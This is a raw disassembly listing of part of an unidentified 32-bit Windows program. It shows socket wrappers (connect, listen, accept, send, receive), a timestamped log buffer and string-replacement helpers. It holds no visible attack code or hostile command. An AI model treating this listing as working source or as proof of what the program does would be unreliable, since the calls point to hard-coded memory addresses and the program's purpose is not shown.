0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419A70 proc near ; CODE XREF: sub_40152Dj arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_C] mov ecx, [esp+arg_4] mov edx, [esp+arg_8] cmp eax, 1 setnl al mov byte ptr [esp+arg_C], al push ecx mov eax, [esp+4+arg_C] push edx push eax push 0 mov ecx, offset byte_4D8075 call sub_401118 retn sub_419A70 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_419AB0: ; CODE XREF: ___:0040150Fj sub esp, 0Ch mov eax, [esp+20h] push ebx push ebp push esi xor esi, esi push edi cmp eax, esi mov dword ptr [esp+18h], 80h mov [esp+10h], esi jz short loc_419AE3 push eax nop call near ptr 77C1BF18h add esp, 4 cmp eax, esi mov [esp+10h], eax jz short loc_419AE3 mov [esp+18h], eax loc_419AE3: ; CODE XREF: ___:00419ACBj ; ___:00419ADDj mov edi, [esp+28h] mov ebx, [esp+24h] mov ebp, [esp+20h] mov [esp+14h], esi mov esi, offset dword_508E2C loc_419AF8: ; CODE XREF: ___:00419B49j mov ecx, [esp+14h] mov eax, [esp+18h] cmp ecx, eax jge short loc_419B4B cmp byte ptr [esi], 0 jz short loc_419B34 mov eax, [esp+30h] test eax, eax jz short loc_419B28 mov ecx, [esp+10h] test ecx, ecx jnz short loc_419B28 push eax push esi call near ptr 77C47C60h nop add esp, 8 test eax, eax jz short loc_419B34 loc_419B28: ; CODE XREF: ___:00419B0Fj ; ___:00419B17j push edi push esi push ebx push ebp call sub_40152D add esp, 10h loc_419B34: ; CODE XREF: ___:00419B07j ; ___:00419B26j mov edx, [esp+14h] add esi, 80h inc edx cmp esi, offset dword_50CE2C mov [esp+14h], edx jl short loc_419AF8 loc_419B4B: ; CODE XREF: ___:00419B02j pop edi pop esi pop ebp pop ebx add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_419B90: ; CODE XREF: ___:00402289j push ebx mov ebx, dword_511B04 push esi push edi mov edi, [esp+10h] mov esi, offset dword_508E2C loc_419BA2: ; CODE XREF: ___:00419BBEj cmp byte ptr [esi], 0 jz short loc_419BB2 push edi push esi call ebx ; strstr add esp, 8 test eax, eax jnz short loc_419BC6 loc_419BB2: ; CODE XREF: ___:00419BA5j add esi, 80h cmp esi, offset dword_50CE2C jl short loc_419BA2 pop edi pop esi xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_419BC6: ; CODE XREF: ___:00419BB0j pop edi pop esi mov eax, 1 pop ebx retn ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419BE0 proc near ; CODE XREF: sub_4010D2j var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 sub esp, 10h lea eax, [esp+10h+var_10] push esi push edi push eax nop call near ptr 27D0000h mov edi, dword_511B08 mov esi, offset dword_50CE2C loc_419BFB: ; CODE XREF: sub_419BE0+3Bj cmp byte ptr [esi], 0 jz short loc_419C0F push 7Fh lea ecx, [esi+80h] push esi push ecx call edi ; strncpy add esp, 0Ch loc_419C0F: ; CODE XREF: sub_419BE0+1Ej sub esi, 80h cmp esi, offset dword_508E2C jge short loc_419BFB mov edx, [esp+18h+arg_0] mov eax, [esp+18h+var_4] mov ecx, [esp+12h] push edx mov edx, [esp+1Ch+var_8] and eax, 0FFFFh and ecx, 0FFFFh push eax mov eax, [esp+20h+var_10] and edx, 0FFFFh push ecx mov ecx, [esp+1Ah] push edx mov edx, [esp+28h+var_10+2] and eax, 0FFFFh and ecx, 0FFFFh push eax and edx, 0FFFFh push ecx push edx push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push 80h push offset dword_508E2C nop call near ptr 77C3FA76h add esp, 28h pop edi pop esi add esp, 10h retn sub_419BE0 endp ; --------------------------------------------------------------------------- db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_419CB0: ; CODE XREF: ___:004012DAj sub esp, 600h mov ecx, 80h xor eax, eax push ebx push ebp push esi push edi lea edi, [esp+10h] mov esi, [esp+614h] rep stosd mov ecx, 80h lea edi, [esp+210h] mov ebp, dword_511B08 push 1FFh rep stosd mov ecx, 80h lea edi, [esp+414h] rep stosd lea eax, [esp+14h] push esi push eax call ebp ; strncpy mov edx, [esp+628h] or ecx, 0FFFFFFFFh mov edi, edx xor eax, eax add esp, 0Ch repne scasb not ecx dec ecx cmp ecx, 180h jbe short loc_419D21 mov [edx+180h], al loc_419D21: ; CODE XREF: ___:00419D19j mov ebx, [esp+618h] lea ecx, [esp+10h] push ebx push ecx nop call near ptr 77C47C60h add esp, 8 test eax, eax jz loc_419E32 loc_419D3F: ; CODE XREF: ___:00419E25j lea edx, [esp+10h] push ebx push edx nop call near ptr 77C47C60h mov esi, eax mov edi, ebx or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push 1FFh add ecx, esi lea eax, [esp+41Ch] push ecx push eax call ebp ; strncpy lea ecx, [esp+24h] push 1FFh lea edx, [esp+228h] push ecx push edx mov byte ptr [esi], 0 call ebp ; strncpy lea edx, [esi+1] add esp, 20h test edx, edx jz short loc_419E00 lea eax, [ebx-1] test eax, eax jz short loc_419E00 lea edi, [ebx-1] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov edi, edx mov esi, ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx cmp ecx, esi jbe short loc_419DDD mov edx, [esp+61Ch] lea ecx, [esp+410h] push ecx lea eax, [esp+214h] push edx push eax lea ecx, [esp+1Ch] push offset aSSS ; "%s%s%s" push ecx nop call sub_5F76F7 add esp, 14h jmp short loc_419E00 ; --------------------------------------------------------------------------- loc_419DDD: ; CODE XREF: ___:00419DAEj mov edx, [esp+61Ch] lea eax, [esp+210h] push edx push eax lea ecx, [esp+18h] push offset aSS_3 ; "%s%s" push ecx nop call sub_5F76F7 add esp, 10h loc_419E00: ; CODE XREF: ___:00419D8Aj ; ___:00419D91j ... mov edx, [esp+61Ch] mov esi, dword_511B04 push edx push ebx call esi ; strstr add esp, 8 test eax, eax jnz short loc_419E2B lea eax, [esp+10h] push ebx push eax call esi ; strstr add esp, 8 test eax, eax jnz loc_419D3F loc_419E2B: ; CODE XREF: ___:00419E16j mov esi, [esp+614h] loc_419E32: ; CODE XREF: ___:00419D39j lea edi, [esp+10h] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx push ecx lea ecx, [esp+14h] push ecx push esi call ebp ; strncpy add esp, 0Ch mov eax, esi pop edi pop esi pop ebp pop ebx add esp, 600h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 70h dup(0CCh) ; --------------------------------------------------------------------------- loc_419ED0: ; CODE XREF: ___:004018DEj sub esp, 10h push esi push 0 push 1 push 2 nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_419EEE or eax, eax pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_419EEE: ; CODE XREF: ___:00419EE5j mov ecx, [esp+18h] xor eax, eax mov [esp+4], eax push ecx mov [esp+0Ch], eax mov word ptr [esp+8], 2 mov [esp+10h], eax mov [esp+14h], eax nop call near ptr 71AB2B66h lea edx, [esp+4] push 10h push edx push esi mov [esp+12h], ax mov dword ptr [esp+14h], 0 nop call near ptr 71AB3E00h test eax, eax jz short loc_419F39 or eax, 0FFFFFFFFh pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_419F39: ; CODE XREF: ___:00419F2Fj push 7FFFFFFFh push esi call near ptr 71AB88D3h nop test eax, eax jz short loc_419F51 or eax, 0FFFFFFFFh pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_419F51: ; CODE XREF: ___:00419F47j mov eax, esi pop esi add esp, 10h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_419F90: ; CODE XREF: ___:00401E83j push edi xor edi, edi mov eax, offset byte_4E02A5 loc_419F98: ; CODE XREF: ___:00419FA8j cmp dword ptr [eax], 0 jz short loc_419FAA add eax, 316h inc edi cmp eax, offset byte_4E7E15 jle short loc_419F98 loc_419FAA: ; CODE XREF: ___:00419F9Bj cmp edi, 13h jle short loc_419FB4 or eax, 0FFFFFFFFh pop edi retn ; --------------------------------------------------------------------------- loc_419FB4: ; CODE XREF: ___:00419FADj lea eax, [edi+edi*4] push ebx shl eax, 4 sub eax, edi mov ebx, off_511C00 push esi lea eax, [eax+eax*4] lea esi, ds:4E01ABh[eax*2] mov eax, [esp+10h] push eax push esi call ebx ; sub_5F76F7 mov ecx, [esp+24h] mov edx, [esp+1Ch] mov eax, [esp+20h] mov [esi+0FAh], ecx mov ecx, [esp+28h] mov [esi+0FEh], edi mov [esi+106h], edx mov [esi+10Ah], eax add esi, 10Eh push ecx push esi call ebx ; sub_5F76F7 add esp, 10h mov eax, edi pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A050 proc near ; CODE XREF: sub_4013F2j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h push edi xor edi, edi mov eax, offset dword_4D8735 loc_41A058: ; CODE XREF: sub_41A050+18j cmp dword ptr [eax], 0 jz short loc_41A06A add eax, 316h inc edi cmp eax, offset byte_4E02A5 jle short loc_41A058 loc_41A06A: ; CODE XREF: sub_41A050+Bj cmp edi, 13h jle short loc_41A074 or eax, 0FFFFFFFFh pop edi retn ; --------------------------------------------------------------------------- loc_41A074: ; CODE XREF: sub_41A050+1Dj lea eax, [edi+edi*4] push ebx shl eax, 4 sub eax, edi mov ebx, off_511C00 push esi lea eax, [eax+eax*4] lea esi, ds:4D863Bh[eax*2] mov eax, [esp+0Ch+arg_0] push eax push esi call ebx ; sub_5F76F7 mov ecx, [esp+14h+arg_C] mov edx, [esp+14h+arg_4] mov eax, [esp+14h+arg_8] mov [esi+0FAh], ecx mov ecx, [esp+14h+arg_10] mov [esi+0FEh], edi mov [esi+106h], edx mov [esi+10Ah], eax add esi, 10Eh push ecx push esi call ebx ; sub_5F76F7 add esp, 10h mov eax, edi pop esi pop ebx pop edi retn sub_41A050 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A110 proc near ; CODE XREF: sub_401C49j var_190 = byte ptr -190h arg_0 = byte ptr 4 sub esp, 190h push ebp mov ebp, ecx push esi push edi mov dword ptr [ebp+0], offset off_43F0BC mov eax, dword_50DAF8 test eax, eax jnz short loc_41A148 mov eax, dword_50DAF8 inc eax mov dword_50DAF8, eax lea ecx, [esp+19Ch+var_190] push ecx push 202h nop call near ptr 71AB664Dh jmp short loc_41A155 ; --------------------------------------------------------------------------- loc_41A148: ; CODE XREF: sub_41A110+19j mov edx, dword_50DAF8 inc edx mov dword_50DAF8, edx loc_41A155: ; CODE XREF: sub_41A110+36j mov al, [esp+19Ch+arg_0] or ecx, 0FFFFFFFFh mov [ebp+80Ah], al mov edi, offset byte_448F30 xor eax, eax mov [ebp+806h], ecx mov byte ptr [ebp+80Ch], 0 mov word ptr [ebp+4], 0 repne scasb not ecx sub edi, ecx lea edx, [ebp+6] mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax mov eax, ebp and ecx, 3 rep movsb pop edi mov byte ptr [ebp+80Bh], 0 pop esi pop ebp add esp, 190h retn 4 sub_41A110 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A1E0 proc near ; CODE XREF: ___:004018E3j sub_401B09j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401FE6 test [esp+4+arg_0], 1 jz short loc_41A1F8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_41A1F8: ; CODE XREF: sub_41A1E0+Dj mov eax, esi pop esi retn 4 sub_41A1E0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A210 proc near ; CODE XREF: sub_401FE6j mov al, [ecx+80Ah] mov dword ptr [ecx], offset off_43F0BC test al, al jnz short loc_41A225 call sub_4014E7 loc_41A225: ; CODE XREF: sub_41A210+Ej mov eax, 1 mov ecx, dword_50DAF8 cmp ecx, eax jle short loc_41A240 mov eax, dword_50DAF8 dec eax mov dword_50DAF8, eax locret_41A23F: ; CODE XREF: sub_41A210:loc_41A240j retn ; --------------------------------------------------------------------------- loc_41A240: ; CODE XREF: sub_41A210+22j jnz short locret_41A23F mov ecx, dword_50DAF8 dec ecx mov dword_50DAF8, ecx nop jmp near ptr 71AB4428h sub_41A210 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41A280: ; CODE XREF: ___:004015AAj mov eax, large fs:0 push 0FFFFFFFFh push offset loc_43BFCB push eax mov large fs:0, esp sub esp, 814h push esi mov esi, ecx call sub_40196A test al, al jz loc_41A331 mov al, [esi+80Bh] test al, al jz short loc_41A2B9 mov al, 1 jmp short loc_41A331 ; --------------------------------------------------------------------------- loc_41A2B9: ; CODE XREF: ___:0041A2B3j push ebx push edi mov edi, [esp+830h] push 800h lea eax, [esi+6] push edi push eax nop call near ptr 77C47A90h mov ebx, [esp+840h] add esp, 0Ch lea ecx, [esp+0Ch] mov [esi+4], bx call sub_401186 mov ecx, [esp+83Ch] mov edx, [esp+838h] push ecx push edx push ebx push edi lea ecx, [esp+1Ch] mov dword ptr [esp+838h], 0 call sub_401640 push eax mov ecx, esi call sub_4020E5 lea ecx, [esp+0Ch] mov bl, al mov dword ptr [esp+828h], 0FFFFFFFFh call sub_40187A mov al, bl pop edi pop ebx loc_41A331: ; CODE XREF: ___:0041A2A5j ; ___:0041A2B7j mov ecx, [esp+818h] pop esi mov large fs:0, ecx add esp, 820h retn 10h ; --------------------------------------------------------------------------- db 7 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A390 proc near ; CODE XREF: sub_40196Aj mov al, byte_444DA4 retn sub_41A390 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A3B0 proc near ; CODE XREF: sub_4020E5j var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = dword ptr -114h var_110 = dword ptr -110h var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = byte ptr 10h sub esp, 11Ch push ebp push esi push edi mov esi, ecx call sub_40196A test al, al jnz short loc_41A3D0 pop edi pop esi pop ebp add esp, 11Ch retn 10h ; --------------------------------------------------------------------------- loc_41A3D0: ; CODE XREF: sub_41A3B0+12j mov al, [esi+80Bh] test al, al jnz loc_41A571 push 6 push 1 push 2 nop call near ptr 71AB3B91h cmp eax, 0FFFFFFFFh mov [esi+806h], eax jnz short loc_41A40A mov ecx, esi call sub_4014E7 pop edi pop esi xor al, al pop ebp add esp, 11Ch retn 10h ; --------------------------------------------------------------------------- loc_41A40A: ; CODE XREF: sub_41A3B0+43j mov al, [esp+128h+arg_C] test al, al jnz short loc_41A419 push 1 jmp short loc_41A41B ; --------------------------------------------------------------------------- loc_41A419: ; CODE XREF: sub_41A3B0+63j push 0 loc_41A41B: ; CODE XREF: sub_41A3B0+67j mov ecx, esi call sub_4018CA mov edi, [esp+128h+arg_4] xor eax, eax mov [esp+128h+var_114], eax push edi mov [esp+12Ch+var_110], eax mov [esi+4], di mov [esp+12Ch+var_10C], eax mov word ptr [esp+12Ch+var_114], 2 mov [esp+12Ch+var_108], eax call near ptr 71AB2B66h nop mov ecx, [esp+128h+arg_0] mov word ptr [esp+128h+var_114+2], ax mov eax, [esi+806h] lea edx, [esp+128h+var_114] push 10h push edx push eax mov [esp+134h+var_110], ecx mov [esi+4], di nop call near ptr 71AB406Ah mov ebp, dword_511C50 test eax, eax jge short loc_41A4BC call ebp ; WSAGetLastError cmp eax, 2733h jz short loc_41A4AD call ebp ; WSAGetLastError cmp eax, 0Bh jz short loc_41A4AD call ebp ; WSAGetLastError cmp eax, 2733h jz short loc_41A4AD mov byte ptr [esi+80Bh], 0 pop edi pop esi xor al, al pop ebp add esp, 11Ch retn 10h ; --------------------------------------------------------------------------- loc_41A4AD: ; CODE XREF: sub_41A3B0+D6j ; sub_41A3B0+DDj ... mov al, byte ptr [esp+128h+arg_8] test al, al jnz loc_41A56A loc_41A4BC: ; CODE XREF: sub_41A3B0+CDj mov eax, [esi+806h] xor ecx, ecx lea edx, [esp+128h+var_11C] mov edi, dword_511C94 mov [esp+128h+var_11C], ecx push edx mov [esp+12Ch+var_118], ecx push ecx lea ecx, [esp+130h+var_104] mov [esp+130h+var_100], eax push ecx inc eax push 0 push eax mov [esp+13Ch+var_11C], 0Ah mov [esp+13Ch+var_104], 1 call edi ; select test eax, eax jge short loc_41A530 loc_41A4FB: ; CODE XREF: sub_41A3B0+17Ej call ebp ; WSAGetLastError call ebp ; WSAGetLastError cmp eax, 4 jnz short loc_41A545 mov eax, [esp+128h+var_11C] test eax, eax jnz short loc_41A514 mov eax, [esp+128h+var_118] test eax, eax jz short loc_41A545 loc_41A514: ; CODE XREF: sub_41A3B0+15Aj mov ecx, [esi+806h] lea edx, [esp+128h+var_11C] push edx lea eax, [esp+12Ch+var_104] push 0 push eax inc ecx push 0 push ecx call edi ; select test eax, eax jl short loc_41A4FB loc_41A530: ; CODE XREF: sub_41A3B0+149j mov al, [esp+128h+arg_C] test al, al jnz short loc_41A561 mov edx, [esp+128h+arg_8] push edx jmp short loc_41A563 ; --------------------------------------------------------------------------- loc_41A545: ; CODE XREF: sub_41A3B0+152j ; sub_41A3B0+162j mov ecx, esi call sub_4014E7 mov byte ptr [esi+80Bh], 0 pop edi pop esi xor al, al pop ebp add esp, 11Ch retn 10h ; --------------------------------------------------------------------------- loc_41A561: ; CODE XREF: sub_41A3B0+189j push 0 loc_41A563: ; CODE XREF: sub_41A3B0+193j mov ecx, esi call sub_4018CA loc_41A56A: ; CODE XREF: sub_41A3B0+106j mov byte ptr [esi+80Bh], 1 loc_41A571: ; CODE XREF: sub_41A3B0+28j pop edi pop esi mov al, 1 pop ebp add esp, 11Ch retn 10h sub_41A3B0 endp ; --------------------------------------------------------------------------- db 90h db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A600 proc near ; CODE XREF: sub_4014E7j push esi mov esi, ecx mov eax, [esi+806h] cmp eax, 0FFFFFFFFh jz short loc_41A61A cmp eax, 0FFFFFFFFh jz short loc_41A61A push eax call near ptr 71AB9639h nop loc_41A61A: ; CODE XREF: sub_41A600+Cj ; sub_41A600+11j mov ecx, esi call sub_401375 mov byte ptr [esi+80Bh], 0 pop esi retn sub_41A600 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A640 proc near ; CODE XREF: sub_401375j push ebp mov edx, ecx push esi push edi or ecx, 0FFFFFFFFh mov edi, offset byte_448F30 xor eax, eax mov [edx+806h], ecx mov word ptr [edx+4], 0 lea ebp, [edx+6] repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb pop edi pop esi mov byte ptr [edx+80Bh], 0 mov byte ptr [edx+80Ch], 0 pop ebp retn sub_41A640 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A6B0 proc near ; CODE XREF: sub_401492j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 sub esp, 10h push esi mov esi, ecx call sub_40196A test al, al jnz short loc_41A6C6 pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- loc_41A6C6: ; CODE XREF: sub_41A6B0+Dj mov al, [esi+80Bh] test al, al jnz loc_41A77F push 6 push 1 push 2 nop call near ptr 71AB3B91h cmp eax, 0FFFFFFFFh mov [esi+806h], eax jnz short loc_41A6FB mov ecx, esi call sub_4014E7 xor al, al pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- loc_41A6FB: ; CODE XREF: sub_41A6B0+39j mov ecx, [esp+14h+arg_0] xor eax, eax mov [esp+14h+var_10], eax push ecx mov [esp+18h+var_C], eax mov word ptr [esp+18h+var_10], 2 mov [esp+18h+var_8], eax mov [esp+18h+var_4], eax nop call near ptr 71AB2B66h mov word ptr [esp+14h+var_10+2], ax mov eax, [esi+806h] lea edx, [esp+14h+var_10] push 10h push edx push eax mov [esp+20h+var_C], 0 call near ptr 71AB3E00h nop test eax, eax jz short loc_41A754 mov ecx, esi call sub_4014E7 xor al, al pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- loc_41A754: ; CODE XREF: sub_41A6B0+92j mov ecx, [esi+806h] push 32h push ecx nop call near ptr 71AB88D3h cmp eax, 0FFFFFFFFh jnz short loc_41A778 mov ecx, esi call sub_4014E7 xor al, al pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- loc_41A778: ; CODE XREF: sub_41A6B0+B6j mov byte ptr [esi+80Bh], 1 loc_41A77F: ; CODE XREF: sub_41A6B0+1Ej mov al, 1 pop esi add esp, 10h retn 4 sub_41A6B0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A7D0 proc near ; CODE XREF: sub_401B95j var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = byte ptr -114h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 120h push esi push edi mov esi, ecx call sub_40196A test al, al jnz short loc_41A7EE pop edi pop esi add esp, 120h retn 0Ch ; --------------------------------------------------------------------------- loc_41A7EE: ; CODE XREF: sub_41A7D0+11j mov al, [esi+80Bh] test al, al jnz short loc_41A805 pop edi xor al, al pop esi add esp, 120h retn 0Ch ; --------------------------------------------------------------------------- loc_41A805: ; CODE XREF: sub_41A7D0+26j mov al, [esi+80Ch] test al, al jnz short loc_41A881 call sub_40196A test al, al jz short loc_41A874 mov edi, dword_511C94 loc_41A81E: ; CODE XREF: sub_41A7D0+A2j mov eax, [esi+806h] lea ecx, [esp+128h+var_11C] push ecx mov [esp+12Ch+var_100], eax push 0 lea edx, [esp+130h+var_104] push 0 inc eax push edx push eax mov [esp+13Ch+var_104], 1 mov [esp+13Ch+var_11C], 0 mov [esp+13Ch+var_118], 64h call edi ; select test eax, eax jz short loc_41A86B mov ecx, [esi+806h] lea eax, [esp+128h+var_104] push eax push ecx call sub_438256 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_41A881 loc_41A86B: ; CODE XREF: sub_41A7D0+84j call sub_40196A test al, al jnz short loc_41A81E loc_41A874: ; CODE XREF: sub_41A7D0+46j pop edi xor al, al pop esi add esp, 120h retn 0Ch ; --------------------------------------------------------------------------- loc_41A881: ; CODE XREF: sub_41A7D0+3Dj ; sub_41A7D0+99j mov eax, [esp+128h+arg_4] mov [esp+128h+var_120], 0FFFFFFFFh test eax, eax jz short loc_41A8A4 lea edx, [esp+128h+var_11C] mov [esp+128h+var_11C], 10h push edx push eax jmp short loc_41A8B6 ; --------------------------------------------------------------------------- loc_41A8A4: ; CODE XREF: sub_41A7D0+C2j lea ecx, [esp+128h+var_11C] lea edx, [esp+128h+var_114] push ecx mov [esp+12Ch+var_11C], 10h push edx loc_41A8B6: ; CODE XREF: sub_41A7D0+D2j mov eax, [esi+806h] push eax call near ptr 71AC1028h nop cmp eax, 0FFFFFFFFh mov [esp+128h+var_120], eax jnz short loc_41A8D9 pop edi xor al, al pop esi add esp, 120h retn 0Ch ; --------------------------------------------------------------------------- loc_41A8D9: ; CODE XREF: sub_41A7D0+FAj mov esi, [esp+128h+arg_0] lea ecx, [esp+128h+var_120] push ecx mov ecx, esi call sub_402108 mov dl, [esp+128h+arg_8] pop edi mov [esi+80Dh], dl mov al, 1 pop esi add esp, 120h retn 0Ch sub_41A7D0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A960 proc near ; CODE XREF: sub_402108j arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov edx, [eax] mov [ecx+806h], edx mov edx, [eax] cmp edx, 0FFFFFFFFh setnz al mov [ecx+80Bh], al retn 4 sub_41A960 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A990 proc near ; CODE XREF: sub_40196Fj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] mov edx, [esp+arg_4] push eax mov eax, [esp+4+arg_0] push 0 push edx push eax call sub_401B4F retn 0Ch sub_41A990 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A9C0 proc near ; CODE XREF: sub_401B4Fj var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_208 = dword ptr -208h var_204 = dword ptr -204h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h sub esp, 210h push ebx push ebp push esi mov esi, ecx push edi cmp dword ptr [esi+806h], 0FFFFFFFFh jz loc_41AB24 mov al, [esi+80Bh] test al, al jz loc_41AB24 mov edi, dword_5118AC call edi mov ebp, eax mov al, [esi+80Dh] test al, al jnz loc_41AABC mov ebx, [esp+220h+arg_8] test ebx, ebx jz loc_41AABC call sub_40196A test al, al jz loc_41AABC loc_41AA1B: ; CODE XREF: sub_41A9C0+F6j mov eax, [esi+806h] mov ecx, 1 mov [esp+220h+var_100], eax mov [esp+220h+var_104], ecx mov [esp+220h+var_204], eax mov [esp+220h+var_208], ecx mov [esp+220h+var_210], 0 mov [esp+220h+var_20C], 64h call edi sub eax, ebp cmp eax, ebx ja loc_41AB24 lea eax, [esp+220h+var_210] lea ecx, [esp+220h+var_208] push eax mov eax, [esi+806h] push ecx lea edx, [esp+228h+var_104] push 0 inc eax push edx push eax call near ptr 71AB2DC0h nop test eax, eax jz short loc_41AAAF mov edx, [esi+806h] lea ecx, [esp+220h+var_208] push ecx push edx call sub_438256 ; --------------------------------------------------------------------------- test eax, eax jnz loc_41AB24 mov ecx, [esi+806h] lea eax, [esp+220h+var_104] push eax push ecx call sub_438256 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_41AABC loc_41AAAF: ; CODE XREF: sub_41A9C0+BCj call sub_40196A test al, al jnz loc_41AA1B loc_41AABC: ; CODE XREF: sub_41A9C0+39j ; sub_41A9C0+48j ... call sub_40196A test al, al jz short loc_41AB24 mov edx, [esp+220h+arg_4] mov eax, [esp+220h+arg_0] mov ecx, [esi+806h] push 0 push edx push eax push ecx nop call near ptr 71AB615Ah mov ecx, [esp+220h+arg_C] test ecx, ecx jz short loc_41AAF1 mov [ecx], eax loc_41AAF1: ; CODE XREF: sub_41A9C0+12Dj cmp eax, 0FFFFFFFFh jz short loc_41AB09 test eax, eax jz short loc_41AB09 pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 210h retn 10h ; --------------------------------------------------------------------------- loc_41AB09: ; CODE XREF: sub_41A9C0+134j ; sub_41A9C0+138j nop call near ptr 71AB94DCh pop edi cmp eax, 2733h pop esi pop ebp setz al pop ebx add esp, 210h retn 10h ; --------------------------------------------------------------------------- loc_41AB24: ; CODE XREF: sub_41A9C0+13j ; sub_41A9C0+21j ... pop edi pop esi pop ebp xor al, al pop ebx add esp, 210h retn 10h sub_41A9C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 60h dup(0CCh) ; --------------------------------------------------------------------------- loc_41ABA0: ; CODE XREF: ___:00401622j mov eax, [ecx+806h] cmp eax, 0FFFFFFFFh jz short loc_41ABF1 mov dl, [ecx+80Bh] test dl, dl jz short loc_41ABF1 mov ecx, [esp+8] mov edx, [esp+4] push 0 push ecx push edx push eax nop call near ptr 71AB428Ah mov ecx, [esp+0Ch] test ecx, ecx jz short loc_41ABD2 mov [ecx], eax loc_41ABD2: ; CODE XREF: ___:0041ABCEj cmp eax, 0FFFFFFFFh jz short loc_41ABE0 test eax, eax jz short loc_41ABE0 mov al, 1 retn 0Ch ; --------------------------------------------------------------------------- loc_41ABE0: ; CODE XREF: ___:0041ABD5j ; ___:0041ABD9j nop call near ptr 71AB94DCh cmp eax, 2733h setz al retn 0Ch ; --------------------------------------------------------------------------- loc_41ABF1: ; CODE XREF: ___:0041ABA9j ; ___:0041ABB3j xor al, al retn 0Ch ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41AC20: ; CODE XREF: ___:004019BFj push ecx push ebx push ebp push esi mov esi, ecx push edi mov [esp+10h], esi call sub_40196A test al, al jnz short loc_41AC3C pop edi pop esi pop ebp pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- loc_41AC3C: ; CODE XREF: ___:0041AC32j mov al, [esi+80Bh] 